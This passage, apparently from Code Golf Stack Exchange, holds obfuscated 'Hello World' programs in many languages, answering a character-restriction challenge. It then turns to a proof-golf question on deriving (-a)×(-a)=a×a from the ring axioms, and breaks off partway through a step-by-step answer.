'%'))).('['^'(').'\\'.'"' .+( '[' ^'.').('['^'(').("\`"| ',' ).( '`'|'%').('`'|"\%").( '[' ^(( '+'))).'\\'.'"'.';'. ((( ((( '\\')))))).('$'). '|' .(( '+')).'+'.(';'). ((( ((( '\\')))) ) ).+ '$' .'\\'. '"' .(( '=') ). "'". "'" .(( (';'))). '\\' .(( '@' )).('`'| '#' ).+ '=' .+( '`' |+ "\-").( '`' |(( '!'))).("\["^ '+' ).+ '\\'.'{'."\[". ((( ((( '\\'))))))."\$". '_' .(( ',')).'\\'.'$'.('`'| '*' ).+ ','.('^'^('`'|('+'))).( '^' ^+( '`'|'.')).'+'.('^'^('`' |(( '+' )))).'*'.'\\'.('$').( '`' |(( '*'))).'+'.'+'.']'. ((( ((( '\\'))))))."\}".( '[' ^(( '('))).('['^'+') .+( '`' |',').('`'|')') .+( '[' ^'/').('/'). '/' .(( ',')).'\\'. '"' .+( '`'^'('). ((( '`' ))|'%') .+( '`' |','). ((( '`' ))|',' ).( '`' |'/') .+( '{' ^'[' ).( '{' ^(( ',' ))) .( ( '`' )|+ (( '/' ))) .+( '[' ^(( ')'))).(('`')| ',').('`'|'$') .(( '\\')).'"'. ';' . ('['^',').(('`')| '(' ). ('`'|')').('`'|',').( '`' |'%').'('.('^'^('`'|'/')) .(( ')')).'\\'.'{'.('`'|'-').('['^ '"' ).(( ( '\\'))).'$'.('`'|('*')). ';' .+( ( ( '`'))|'-').('['^('"')). '\\' .+ '@'.('['^'(').'='.("\`"| '-'). ('`'|'!' ).('['^'+').'\\'.'{'. "'".( '{'^"\["). (( "'")).'\\'.'}'.('(').( '^'^( '`'|'.')).'.'.'.'.('^'^('`'|'+')).('^'^('`'| '.')) .')'.';'.('`'|'&').('`'|'/').('['^')').'('.'\\' .'@' .('`'|'#').')'.'\\'.'{'.'\\'."\$".( '['^"\("). '[' .'\\'.'$'.'_'.'-'.'>'.'['.('^'^('`' |',') ).+ ']' .']'.'='.'\\'.'$'.'_'.'-'.'>'."\[".( '^'^ ((( '`' ))|'.')).']'.('`'|')').('`'|('&')). ((( ((( ((( '\\'))))))))).'$'.'_'.'-'.'>'.'['. +( '^' ^+( '`'|',')).']'.'<'.'='.('^'^('`'| ( ( '+' ))) ).('^'^('`'|'.')).';'.'\\'.'$'.'_'. ( ( '-' )). '>'.'['.('^'^('`'|'/')).']'."\>". ( ((( ((( '\\') )))))).'$'.'_'.'-'.'>' .(( '[' )).('^'^('`'|(','))). ']' .(( '?')).'\\'.'$'.('`'| '*' ).(( '+')).'+'.':'.'\\'. '$' .('_'). '-'.'>'.'['.('^'^ ((( '`'))|',' )).']'.'-'."\-". ((( '\\'))).+ '}'.('['^'+').( '['^ "\)").( '`'|')').("\`"| ( '.') ).('['^ '/').'\\'."\"". ((( '\\')) ).'\\'.('['^')' ) .(( '\\')). '@'.('['^"\("). (( ((( '\\')) ))).'"'.';'.( '[' ^ '.' ).('[' ^'(').('`'| (( ( ',' )))). ('`'|'%') . ((( '`') )|'%').( '[' ^(( '+'))) .(( '(' )). ((( '^' ) )^( '`' | '/' )). ('`' |(( '%' ))) .+( '^' ^+( '`' |(( '+')))).(')'). ';'.('`'|','). ('`'|'!').('['^ '(' ).('['^'/').(('{')^ '[' ).('`'|')').("\`"| ( '&' )).'\\'.'$'.('`'|"\*"). '=' .'='.'\\'.'@'.('`'|"\#"). ((( '\\'))).'}'.('['^'+').('['^ ( ')' )).('`'|')').('`'|'.').('['^ ( '/' )).'\\'.'"'.'\\'.'\\'.('`' |+ '.' ).'\\'.'"'.('!'^'+').'"'.'}'. ')' );( $:)='.'^'~';$~='@'|'(';$^=')'^ '[' ;$/='`'|'.';$,='('^'}';$\="\`"| '!' ;$:=')'^'}';$~='*'|'`';$^=('+')^ '_' ;($/) ='&'|'@';$,='['&'~';$\ =(( "\,"))^ '|';$: ='.'^'~'; $~ =(( '@'))| "\("; $^=')'^ '[' ;($/)= '`'| '.';$, =(( '(') )^+ '}';$\ =(( '`') )| "\!"; ( ( $:) )=')' ^+ ( ( ( ( '}' )))); ( ( ( $~) ))=( ( ( ( ( '*' )))) ) | (( ( '`' ))) ; $^= ( '+' )^+ (( (( (( '_' ))) ))) ;($/) =(( '&' ) ) |'@'; $,= '[' &(( '~' )) ; $\= ',' ^"\|"; $: =(( '.' ))^"\~"; $~= '@' |(( '('));$^=')'^ ( '[' );( $/)='`'|"\.";$,= ( '(' )^+ '}';$\='`'|'!';$: =(( ')' ))^'}';$~='*'|'`' ;$^ =(( '+'))^'_';$/='&' |(( '@' ));$, =('[')& '~' ;$\ =','^ '|' ;$: =( (( '.' ))) ^+ '~' ;$~ =( '@' )|+ '(' ;$^ =(( ')' ))^ '[' ;$/ ='`'|('.');#;# ``` **Caveat** Since Perl version 5.18, the mechanism that allows this code to run has become so powerful that it has been disabled by default to prevent misuse. Therefore on versions 5.18+ you can either add `use re 'eval';` to the top of the script or, if the script is named `world.pl` you can run it like `perl -Mre=eval world.pl`. It is unfortunate that these unsightly characters must be added, but c'est la vie. (Note: I want to emphasize that enabling this feature is not using some library or addon, the code displayed is valid Perl code, the mechanism is simply no longer enabled by default). [Answer] # C# (175 chars) It was quite a challenge to do this in C# because the restrictions preclude any use of quite a lot of the common keywords. It is possible in C# to use \uxxxx Unicode escape sequences in identifiers, but unfortunately not in keywords. I suspect that this solution *only* works when compiled against .NET 4.0. See explanation for why. ``` using System;struct a{static int Main(){object[]c={"\u0048e\x6c\x6co "+(C\u0068ar)(86+1)+"or\x6c\x64"};typeof(Conso\u006ce).GetMet\u0068o\u0064s()[101].Invoke(c,c);return 0;}} ``` ## Explanation ``` // I won’t be able to get anywhere without using “System”. // Even if I write it as “Syst\u0065m”, it still violates rule 2. // Therefore, that is the rule we’ll violate. using System; // Thus, we can’t use: H L W D 2 7 // We can’t write “class”, so the Main type must be a struct. struct a { // We can’t write “void”, so Main needs to return an int. static int Main() { // We can’t write “new”, but we can instantiate an array // using the initialisation syntax. object[] c = { "\u0048e\x6c\x6co " + (C\u0068ar) (86 + 1) + "or\x6c\x64" }; // We can use the character escape sequence to write “Console”, but not // “Write” because W is \u0057, which contains a 7. Therefore, we have to // use Reflection to get it. This relies on the fact that Console.Write(string) // is the 102nd method of the type Console in my copy of the framework. // Also, the first argument to Invoke can be anything for a static method // (needn’t be null). The second one is the actual argument to Console.Write. typeof(Conso\u006ce).GetMet\u0068o\u0064s()[101].Invoke(c, c); // Since Main returns int, we have to return something. return 0; } } ``` [Answer] ## GolfScript, 17 chars ``` '·š““ß¨“›'{~}% ``` When testing this submission, please save the file as straight binary, not UTF-8. Having trouble recreating the file? Here's the hexdump of it: ``` 00000000 27 b7 9a 93 93 90 df a8 90 8d 93 9b 27 7b 7e 7d |'...........'{~}| 00000010 25 |%| ``` [Answer] ## BrainFuck, 106 strokes ``` ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------. ``` Meets all the rules and it sure is obfuscated. [Answer] ## Javascript, 2595 This only breaks rule 2. ``` ゚ω゚ノ=/`m´)ノ~┻━┻//*´∇`*/['_'];o=(゚ー゚)=_=3;c=(゚Θ゚)=(゚ー゚)-(゚ー゚);(゚Д゚)=(゚Θ゚)=(o^_^o)/(o^_^o);(゚Д゚)={゚Θ゚:'_',゚ω゚ノ:((゚ω゚ノ==3)+'_')[゚Θ゚],゚ー゚ノ:(゚ω゚ノ+'_')[o^_^o-(゚Θ゚)],゚Д゚ノ:((゚ー゚==3)+'_')[゚ー゚]};(゚Д゚)[゚Θ゚]=((゚ω゚ノ==3)+'_')[c^_^o];(゚Д゚)['c']=((゚Д゚)+'_')[(゚ー゚)+(゚ー゚)-(゚Θ゚)];(゚Д゚)['o']=((゚Д゚)+'_')[゚Θ゚];(゚o゚)=(゚Д゚)['c']+(゚Д゚)['o']+(゚ω゚ノ+'_')[゚Θ゚]+((゚ω゚ノ==3)+'_')[゚ー゚]+((゚Д゚)+'_')[(゚ー゚)+(゚ー゚)]+((゚ー゚==3)+'_')[゚Θ゚]+((゚ー゚==3)+'_')[(゚ー゚)-(゚Θ゚)]+(゚Д゚)['c']+((゚Д゚)+'_')[(゚ー゚)+(゚ー゚)]+(゚Д゚)['o']+((゚ー゚==3)+'_')[゚Θ゚];(゚Д゚)['_']=(o^_^o)[゚o゚][゚o゚];(゚ε゚)=((゚ー゚==3)+'_')[゚Θ゚]+(゚Д゚).゚Д゚ノ+((゚Д゚)+'_')[(゚ー゚)+(゚ー゚)]+((゚ー゚==3)+'_')[o^_^o-゚Θ゚]+((゚ー゚==3)+'_')[゚Θ゚]+(゚ω゚ノ+'_')[゚Θ゚];(゚ー゚)+=(゚Θ゚);(゚Д゚)[゚ε゚]='\\';(゚Д゚).゚Θ゚ノ=(゚Д゚+゚ー゚)[o^_^o-(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ+'_')[c^_^o];(゚Д゚)[゚o゚]='\"';(゚Д゚)['_']((゚Д゚)['_'](゚ε゚+(゚Д゚)[゚o゚]+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚)+(゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o)+(o^_^o))+((o^_^o)-(゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o)+(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+((゚ー゚)+(゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+(゚ー゚)+((o^_^o)-(゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚Θ゚)+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚)+(゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚ー゚)+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o)-(゚Θ゚))+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o)+(o^_^o))+((o^_^o)-(゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚ー゚)+((o^_^o)-(゚Θ゚))+(゚Д゚)[゚ε゚]+((゚ー゚)+(゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚o゚])(゚Θ゚))('_'); ``` [Answer] ## Befunge-93 - 10x9 block ``` va:)/v<>#< 9A:)."c:P^ >"iqwt\%"^ bv"Mjq"<.< c>v<-"x^x] (C:,3>>^:( $,9^;)|:O] >5-^-.--.- ^<_#?>@_@< ``` Sorry. :D I wasn't going for small size here, I was trying to really ***OBFUSCATE*** the code by including as many smiley faces and noise as possible! :D Should go with rules 2 and 3. [Answer] ## Golfscript - 17 chars Easier to copy/paste than Chris' ``` 'Ifmmp!Xpsme'{(}% ``` Basically a caesar cipher shifting by 1 char [Answer] ## Python Rule I & III (34 chars) ``` print'Uryyb Jbeyq'.decode('rot13') ``` Rule I & III, alternative (39 chars) ``` print"\110e\154\154o %cor\154\144"%~-88 ``` Rule II & III (37 chars) ``` input("H\x65ll\x64 W\x64%cld"%(3*38)) ``` Rule I and II (50 chars) ``` input('\x48\x65\x6c\x6c\x6f \x57\x6f\x72\x6c\x64') ``` All three rules (58 chars) ``` input("\x48\x65\x6c\x6c\x6f %c\x6f%c\x6c\x64"%(84+3,3*38)) ``` [Answer] ## JavaScript, 366 chars After seeing Joel Berger's Perl solution, I felt compelled to do some ASCII art prettiness myself... JavaScript, uses no alphanumerics, and contrary to JSFuck output it's actually reasonably sized. ``` $$ =-~- ~[];$_ =$$+ $$; _$=$$+$$+- ~[];_=-~[];$ =!![]+[];__={} +[];$$_=/\\ /+[] _$$=(![]+[])[_]+(! []+[])[$$]+$[$_+~[]] +$[_]+$[+[]];$=__[_$]+ __[_]+($[$]+[])[_]+(![]+ [])[$_+~[]]+$[+[]]+$[_]+$[ $$]+__[_$]+$[+[]]+__[_]+$[_] _=$$_[_]+-~[];$[$][$](_$$+'("' +_+-~[]+-[]+_+$_+_$+_+_$+$_+_+_$ +$_+_+_$+[$$+_$]+$$_[-~[]]+$_+-[]+ _+$$+[$$+_$]+_+_$+[$$+_$]+_+[$$+$_]+ $$+ _+_$ +$_+_+$_ +$_+'")' )($) ``` [Answer] ## rot13 - 11 chars `Uryyb Jbeyq` *2019/2/12: This answer is being kept for historical reasons, and is no longer a valid answer under current site rules.* [Answer] ## Scala, 39 Solutions like **print("Qnuux)`x{um"map(\_-9 toChar))** (35 chars) fall foul of rules 1 and 2 ("toChar" contains both "h" and "r"), which makes this a bit tough. Finally came up with this: ``` print("䠀攀氀氀漀 圀漀爀氀搀"map(_.reverseBytes)) ``` Suggestions for improvement welcome [Answer] # TeX, 95 Bytes Breaks the third rule. ``` \^^5pp^^%^^2^^#^^!^^3^^%{^^(}^^%^^,^^,^^/ \^^5pp^^%^^2^^#^^!^^3^^%{^^7}^^/^^2^^,^^$! \^^%^^.^^$ ``` Run with `tex filename.tex` to get a dvi output, or `pdftex filename.tex` to get a pdf. [Answer] ## Bash, 30 25 characters ``` tr G-t F-s<<<Ifmmp\ Xpsme ``` With thanks to Peter Taylor for the herestring usage. [Answer] ## [><>](http://esolangs.org/wiki/Fish), 2×20 = 40 characters ``` 'mu{x`)xuunQ'>9-o?v; ;^?o-9< ``` Violates Rule II, since I cannot output a character without using `o`. [Answer] ### Windows PowerShell, 91 ~~95~~ ~~97~~ ~~98~~ ``` ($OFS='')+('Qnuux)`x{um'|% t*y|%{"[convert]::"+([convert]|gm -s t*r).name+"($($_-9))"|iex}) ``` Violates only Rule II. It's very evil that `char` violates two rules on its own already. And yikes, this one was hard to get working. * The first line sets `$OFS` to `''` so when casting an array to a string no spaces appear between items. * Casting to `char` actually was the hardest part of all and I spend around a day searching for a way. I got all the rest working nicely but once I do calculations on them I have `int`s, not `char`s. Putting those back in a string was kinda hard. * I found a way of invoking `Invoke-Expression` without needing the `e` as well: ``` &(gcm i?x) ``` but that still lacked the arguments. And I've thrown away my goal of satifying all three rules by then already. Also it didn't particularly help me in casting to `char`. * Shortened a bit with a newer PowerShell version. No useful different way of creating the result emerged, though, sadly. [Answer] # PHP (16 bytes) I've noticed that my previous PHP example wasn't obfuscated enough, so let's see more blatantly obfuscated examples (warning, obfuscation!). Also, blatantly copying GolfScript example, except making it smaller (is it even possible?). This entry requires either PHP 5.4 or `short_open_tag` enabled. No rule was broken while making this. In fact, this entry doesn't contain any ASCII letters or digits. This example doesn't break any of the rules. Have fun. To generate file, run following command. ``` printf "<?=~\xb7\x9a\x93\x93\x90\xdf\xa8\x90\x8d\x93\x9b;" > obfus.php ``` Or, in case you don't trust running `printf` command, I've prepared Base64 dump of the file. ``` PD89freak5OQ36iQjZObOw== ``` If you think that both methods to generate it break rules, I also have generated file [on Dropbox](http://dl.dropbox.com/u/63913412/obfus.php). And to run it. ``` php obfus.php ``` The resulting file should have 16 bytes. Have fun running it. Please note that if you have `E_NOTICE` warnings enabled, it will show notice. Just ignore it, fixing it would waste ~~two characters~~ one character (I can use `@` operator, after all) and would make resulting Base64 look less awesome. [Answer] ## Whitespace (167 characters) To obtain the WS program, substitute a Space, Tab, or Linefeed character for S, T, L, respectively, in the following string: ``` SSSTSSTSSSLTLSSSSSTTSSTSTLTLSSSSSTTSTTSSLTLSSSSSTTSTTSSLTLSSSSSTTSTTTTLTLSSSSSTSSSSSLTLSSSSSTSTSTTTLTLSSSSSTTSTTTTLTLSSSSSTTTSSTSLTLSSSSSTTSTTSSLTLSSSSSTTSSTSSLTLSSLLL ``` or download the "raw" whitespace-only program in the text-file [hello.ws](https://sites.google.com/site/res0001/whitespace/programs/hello.ws). When executed by [this WS interpreter](http://yagni.com/whitespace/whitespace), this program prints "Hello World". Explanation (ignore the whitespace here!): ``` SSS TSSTSSSL TLSS <-- output H (ascii code 72 in decimal, 1001000 in binary) SSS TTSSTSTL TLSS <-- output e (ascii code 101 in decimal, 1100101 in binary) SSS TTSTTSSL TLSS <-- etc SSS TTSTTSSL TLSS SSS TTSTTTTL TLSS SSS TSSSSSL TLSS SSS TSTSTTTL TLSS SSS TTSTTTTL TLSS SSS TTTSSTSL TLSS SSS TTSTTSSL TLSS SSS TTSSTSSL TLSS LLL <-- end the program ``` The "middle" strings (e.g. `TSSTSSSL`) are the ascii codes (in binary, with `S` denoting 0, `T` denoting 1) for the successive letters in "Hello World". The prefix `SSS` pushes the number that follows it (terminated by an `L`) onto the stack. `TLSS` outputs the character whose ascii code is on top of the stack. Finally, according to [this tutorial](http://compsoc.dur.ac.uk/whitespace/tutorial.php), a program must end with `LLL` for a clean exit by the interpreter. NB: I'm entering this as a separate answer, because the other WS program entry is a 1287-character program that prints "Hello, world of spaces!" instead of the required "Hello World". [Answer] ## Ruby - 63 characters ``` puts [%w{G d k k n},%w{V n q k c}].map{|l|l.map(&:succ)*''}*' ' ``` [Answer] **C** (94) On little Endian machines: ``` main(){int i[]={1819043144,((0x1bc5c81b|1<<0x14)*4)+3,0xa646c00|(0x39<<1),0};printf("%s",i);} ``` Violates rule II, but satisfies the rest. [Answer] **C, 160 chars** Works only on little-endian machines with 4-byte int: ``` main(){int a='a',b=a/a,c=b+b,f=c+c,g=f+f,i=g+g,j=i*i,k=j*j,m=a+g+b+c,n=m+b+c;int p[]={a+g-b+(a+f)*j+m*k*(j+b),n+i*c*j+k*(n+g+n*j),a+i+b+m*j+(a+f-b)*k};puts(p);} ``` Satisfies all three rules. [Answer] ## PHP, 28 bytes Not exactly obfuscated, but very short and obvious :). Showing that even when limiting characters you can make very easy to follow programs. Constraints 1 and 3 followed. Constraint 2 was abused. ``` <?=str_rot13('Uryyb Jbeyq'); ``` Note that this requires `short_open_tag` being set, unless you're using PHP 5.4 or higher. Maybe some examples are shorter, but I think that this example is pretty short. [Answer] ## [Dis](http://esolangs.org/wiki/Dis), ~~102~~ 83 chars Unrolled the code loop since the letters can be generated with less than five consecutive operations. Saved a few characters by reusing the accumulator value: two `l` are consecutive , `SPACE` can be generated from `o` and `d` can be generated from `l`. ``` *>|||{>|||{>||{{>|{|||{>||{>|{>|||{>||{||{!!>**_!!}|_}!^__}|__>*__}|_}|_>!!|_}!^__! ``` --- Old version ``` ^}!>^^_^!__!>_^!^^**_^!^^**_ ^_!{**_^__!{>_^__{>>!^_!{**_ ^_!>^*_^!^^**_^_^^**_*______ ___________>||||{^ ``` With comments below. It is using a sequence of five identical operations to generate all the characters in `Hello World`: one rotation and four subtractions. ``` ^ (move code pointer to data pointer value '^') }!>^^ (store 'H' in accumulator) _ (no-op) ^ (data pointer value used by code pointer jump) !__!> (store 'e' in accumulator) _ (no-op) ^ (data pointer value used by code pointer jump) !^^** (store 'l' in accumulator) _ (no-op) ^ (data pointer value used by code pointer jump) !^^** (store 'l' in accumulator) _ (no-op) ^ (data pointer value used by code pointer jump) _!{** (store 'o' in accumulator) _ (no-op) ^ (data pointer value used by code pointer jump) __!{> (store ' ' in accumulator) _ (no-op) ^ (data pointer value used by code pointer jump) __{>> (store 'W' in accumulator) ! (program termination) ^ (data pointer value used by code pointer jump) _!{** (store 'o' in accumulator) _ (no-op) ^ (data pointer value used by code pointer jump) _!>^* (store 'r' in accumulator) _ (no-op) ^ (data pointer value used by code pointer jump) !^^** (store 'l' in accumulator) _ (no-op) ^ (data pointer value used by code pointer jump) _^^** (store 'd' in accumulator) _ (no-op) * (data pointer value used by code pointer jump to reach '!' between 'W' and 'o') ________________ (no-ops) _ (no-op, address '^') >|||| (rotate data value and perform four subtractions) { (print value in accumulator) ^ (move code pointer to data pointer value '^' except for the last jump '*') ``` [Answer] ## bash 28 chars: ``` printf 'p|ɹ°M ο||ǝ%b'"\x48" ``` > > p|ɹοM ο||ǝH > > > alternatively with /bin/echo (18 chars) \*) see discussion below. ``` /bin/echo -e 'p|ɹοM ο||ǝ\0110' ``` Selftest: ``` echo "printf 'p|ɹοM ο||ǝ%b' "\x48"" | egrep -i "[^hlwd27eor01]" ``` Harder than thougth! Tools, for turning Words upside down, the tools think an 'H' or 'o' turned upside down is best displayed as H or o. This would be in conflict with group 1 (Hlwd:27:eor01) respectively 3. H can be displayed with ``` echo -e "\0127" ``` but 01 and 2 are poisoned too. Gee! But the bash-buildin echo has not only the option to display octal ascii values, but hexadecimal too: ``` echo -e "\x48" ``` But if we use bash as a programming language, the echo command is part of the program, which not only counts to the character count, but also contains the poisoned characters (hlwd:27:eor01) eho from groups 1 and 3. So this is moment the echo died. Fortunately, there is printf, which knows "%b" to display . The r is the only problematic character in printf, and belongs to group 3. Since 'o' is in the last group, we could leave it in Hello and in World, but [we can use the omicron](http://de.selfhtml.org/html/referenz/zeichen.htm) ο which looks like an o, or ° `&deg;`. Links: * [upside down tool 1](http://kopfstehend.de/) * [second upside down tool](http://www.revfad.com/flip.html) [Answer] ## JavaScript - 132 characters ``` (_=(_=[][(f=!!(_='')+_)[3]+(b=({}+_)[(I=-~(z=_-_))])+($=(c=(d=!_+_)[I])+d[z])])())[f[I]+'l'+(a=d[3])+$]("H"+a+'ll'+b+' W'+b+c+'ld') ``` **Breaks** *rule I* **Usage**: * Paste "javascript: [script]" into browser address bar * Make a blank html page, paste the script into a tag [Answer] # C: 162 characters (excluding unnecessary newlines) I opted for readability and transparency when writing this. ``` a[3],b;main(){b=99 +9;b+=b<<8;b=b<<8| 97|4;b=b<<8|64|8;a [3^3]=b;b=78+33<<8 ;b+=87;b=b<<8|35^3 ;b=b<<8|64|47;a[5^ 4]=b;b=97+3<<8;b+= 99+9;b=b<<8|66|48; a[6^4]=b;puts(a);} ``` It satisfies all three requirements. [Answer] ## Bash, ~~24~~ 20 characters You need to have the "bsdgames" package installed. ``` rot13<<<Uryyb\ Jbeyq ``` Thanks gnibbler :) [Answer] # PostScript, 41 chars ``` <64><~+BNK%C]~><48656c6c6f>3{print}repeat ``` Usage: `$ gs -q -dNOPROMPT -dNODISPLAY filename.ps` [Answer] **JavaScript, 66 chars** Another JavaScript solution, this time breaking rule #2. ``` top[(U=unescape)('a%6cert')](U('%48e%6c%6co %5'+(6+1)+'or%6c%64')) ``` The above follows the concept behind hallvabo's answer. Before I caught on to that approach, I had the arguably-more obfuscated version: ``` top[8680439[n='toString'](30)]((16+1)[n](z=8*4)[u='toUpperCase']() +15960[n](33)+'o '+z[n](33)[u]()+1155505[n](36)) ``` which also breaks rule #2 and comes in at 114 chars. (Remove the carriage return in this second solution as it is just there for readability.) [Answer] ## Haskell, 38 Constraints 1 and 3 followed. ``` main=putStr$map succ"G\x64kkn\USVnqkc" ``` [Answer] # C (79\*12=948) Using no strings or characters, and only the number one. I was a little creative with the bitshifts and subtractions to make them fit onto at 80x12 console. Ask me in the comments if you can't figure it out. ``` int i[(1+1)+1],*I=i;main(){*I++=(((1<<((1<<(1+1))*(1<<(1+1))))+((1<<((((1<<(1<< (1+1)))-1)^(1<<1+1))-1))-(1<<1)-1+((1<<1)*(1<<1)*(1<<1)*(111-(((1<<(1<<(1+1)))- 1)^(1<<1+1))))))*(((((1<<(1+1))*(1<<(1+1)))*(1<<1)-((1<<(1+1))|1))*(((((1<<(1<< (1+1)))-1)^(1<<1+1))*((((1<<(1<<(1+1)))-1)^(1<<1+1))-1)*((((1<<(1<<(1+1)))-1)^( 1<<1+1))-1)+(((1<<(1<<(1+1)))-1)^(1<<1+1)))-((((1<<(1<<(1+1)))-1)^(1<<1+1))*((( (1<<(1<<(1+1)))-1)^(1<<1+1))-1)+1)))+((1<<1)|(1<<(1+1))))+(1<<1));*I++=i[1-(1<< (1-1))]+(((1<<((((1<<(1<<(1+1)))-1)^(1<<1+1))+(1<<1)))+((1<<(((1<<(1<<(1+1)))-1 )^(1<<1+1)))-(1<<(1+1))*(1<<(1<<1))*((1<<(1<<1))-1)-(1<<1)-1))*(((1<<2)*(1<<2)* ((1<<(1+(1<<(1-1))))-1))*((((1<<(1<<(1+1)))-1)^(1<<1+1))-1)*((((1<<(1<<(1+1)))- 1)^(1<<1+1))-1)+(1<<1)+1));*I++=(((1<<(1<<(1<<(1<<1))))+(1<<(1<<((1<<1)+1)))+(( (((1<<(1<<(1+1)))-1)^(1<<1+1))-1)*(1<<1)+1))*((((1<<(1<<(1+1)))-1)^(1<<1+1))-1) *((((1<<(1<<(1+1)))-1)^(1<<1<<1))-1)+(1<<((1<<1)*((1<<1)+1)))-(1<<1));puts(i);} ``` ]
[Question] [ We all know that \$(-a) \times (-a) = a \times a\$ (hopefully), but can you prove it? Your task is to prove this fact using the ring axioms. What are the ring axioms? The ring axioms are a list of rules that two binary operations on a set have to follow. The two operation are addition, \$+\$, and multiplication, \$\times\$. For this challenge here are the ring axioms where \$+\$ and \$\times\$ are closed binary operations on some set \$S\$, \$-\$ is a closed unary operation on \$S\$, and \$a\$, \$b\$, \$c\$ are members of \$S\$: 1. \$a + (b + c) = (a + b) + c\$ 2. \$a + 0 = a\$ 3. \$a + (-a) = 0\$ 4. \$a + b = b + a\$\* 5. \$a \times (b \times c) = (a \times b) \times c\$ 6. \$a \times 1 = a\$† 7. \$1 × a = a\$† 8. \$a \times (b + c) = (a \times b) + (a × c)\$ 9. \$(b + c) \times a = (b \times a) + (c \times a)\$ Your proof should be a string of equalities each being the application of one axiom. You may apply the axioms to either the entire expression or to some sub-expression. For example if we have \$(a + c) + (b + c)\$ we can apply Axiom 4 to just the \$(b + c)\$ term, the \$(a + c)\$ term or the entire expression as a whole. The variables can also stand in for arbitrarily complex expressions for instance we can apply axiom 4 to \$((a \times c) + b) + ((-a) + 1)\$ to get \$((-a) + 1) + ((a \times c) + b)\$. In each step of the proof you can only apply *one* axiom to *one* expression. All axioms are bidirectional, meaning substitution can go in either direction. Things like the following are not allowed ``` (a + b) + (c + d) = (a + (b + c)) + d Ax. 1 ``` This should be done in two steps: ``` (a + b) + (c + d) = ((a + b) + c) + d Ax. 1 = (a + (b + c)) + d Ax. 1 ``` Facts you might normally take for granted but are not listed on the axioms list *cannot be assumed*, for example \$(-a) = (-1) \times a\$ is true but requires multiple steps to preform. User [Anthony](https://codegolf.stackexchange.com/users/71303/antony) has kindly provided [a online proof validator](https://antony74.github.io/fol/) that can be used as a replacement for TIO. ## Example proof Here is an example proof that \$-(-a) = a\$ with the axioms used labeled on the right of each step. ``` -(-a) = (-(-a)) + 0 Ax. 2 = 0 + (-(-a)) Ax. 4 = (a + (-a)) + (-(-a)) Ax. 3 = a + ((-a) + (-(-a))) Ax. 1 = a + 0 Ax. 3 = a Ax. 2 ``` [Try it online!](https://antony74.github.io/fol/index.html?eJzT0NXQTdTU5NKA0NoGXAbaGjCxRG2IIEwAyAcxYHyQgAFXIgClkAyv) You will be tasked to prove \$(-a) \times (-a) = a \times a\$ using successive substitution like that shown above. ## Scoring This is [proof-golf](/questions/tagged/proof-golf "show questions tagged 'proof-golf'") so your answers will be scored in number of steps taken to get from \$(-a) \times (-a)\$ to \$a \times a\$, with a lower score being better. ### Lemmas Some answers have chosen to use Lemmas in their proofs, so I will describe how that should be scored to avoid any confusion. For the uninitiated, lemmas are proofs of facts that you use later in the proof. In real mathematics they can be helpful in organizing your thoughts or conveying information clearly to the reader. In this challenge using lemmas should not have an direct effect on your score. (Although proof organization may make it easier or harder to golf) If you choose to use lemmas it will cost as many steps as it took to prove that lemma in the first place each time you use it. For example the here is the score breakdown of a proof using lemmas. ``` Lemma: a × 0 = 0 Proof (7 steps): a × 0 = (a × 0) + 0 Ax. 2 (1) = (a × 0) + ((a × b) + (-(a × b))) Ax. 3 (1) = ((a × 0) + (a × b)) + (-(a × b)) Ax. 1 (1) = (a × (0 + b)) + (-(a × b)) Ax. 8 (1) = (a × (b + 0)) + (-(a × b)) Ax. 4 (1) = (a × b) + (-(a × b)) Ax. 2 (1) = 0 Ax. 3 (1) Theorem: (a × 0) + (b × 0) = 0 Proof (15 steps): (a × 0) + (b × 0) = 0 + (b × 0) Lemma (7) = (b × 0) + 0 Ax. 4 (1) = b × 0 Ax. 2 (1) = 0 Lemma (7) ``` --- \*: It has been pointed out that this axiom is not strictly necessary to prove this property, however you are still allowed to use it. †: Since \$1\$ does not appear in the desired equality any proof that uses these axioms is not minimal. That is these axioms cannot help with proving the desired fact. They have been included just for the sake of completeness. [Answer] ## 18 Steps ``` (-a)*(-a) = ((-a)*(-a))+0 Axiom 2 = ((-a)*(-a))+(((a*a)+(a*(-a)))+(-((a*a)+(a*(-a))))) Axiom 3 = (((-a)*(-a))+((a*a)+(a*(-a))))+(-((a*a)+(a*(-a)))) Axiom 1 = (((a*a)+(a*(-a)))+((-a)*(-a)))+(-((a*a)+(a*(-a)))) Axiom 4 = ((a*a)+((a*(-a))+((-a)*(-a))))+(-((a*a)+(a*(-a)))) Axiom 1 = ((a*a)+((a+(-a))*(-a)))+(-((a*a)+(a*(-a)))) Axiom 9 = ((a*a)+(0*(-a)))+(-((a*a)+(a*(-a)))) Axiom 3 = 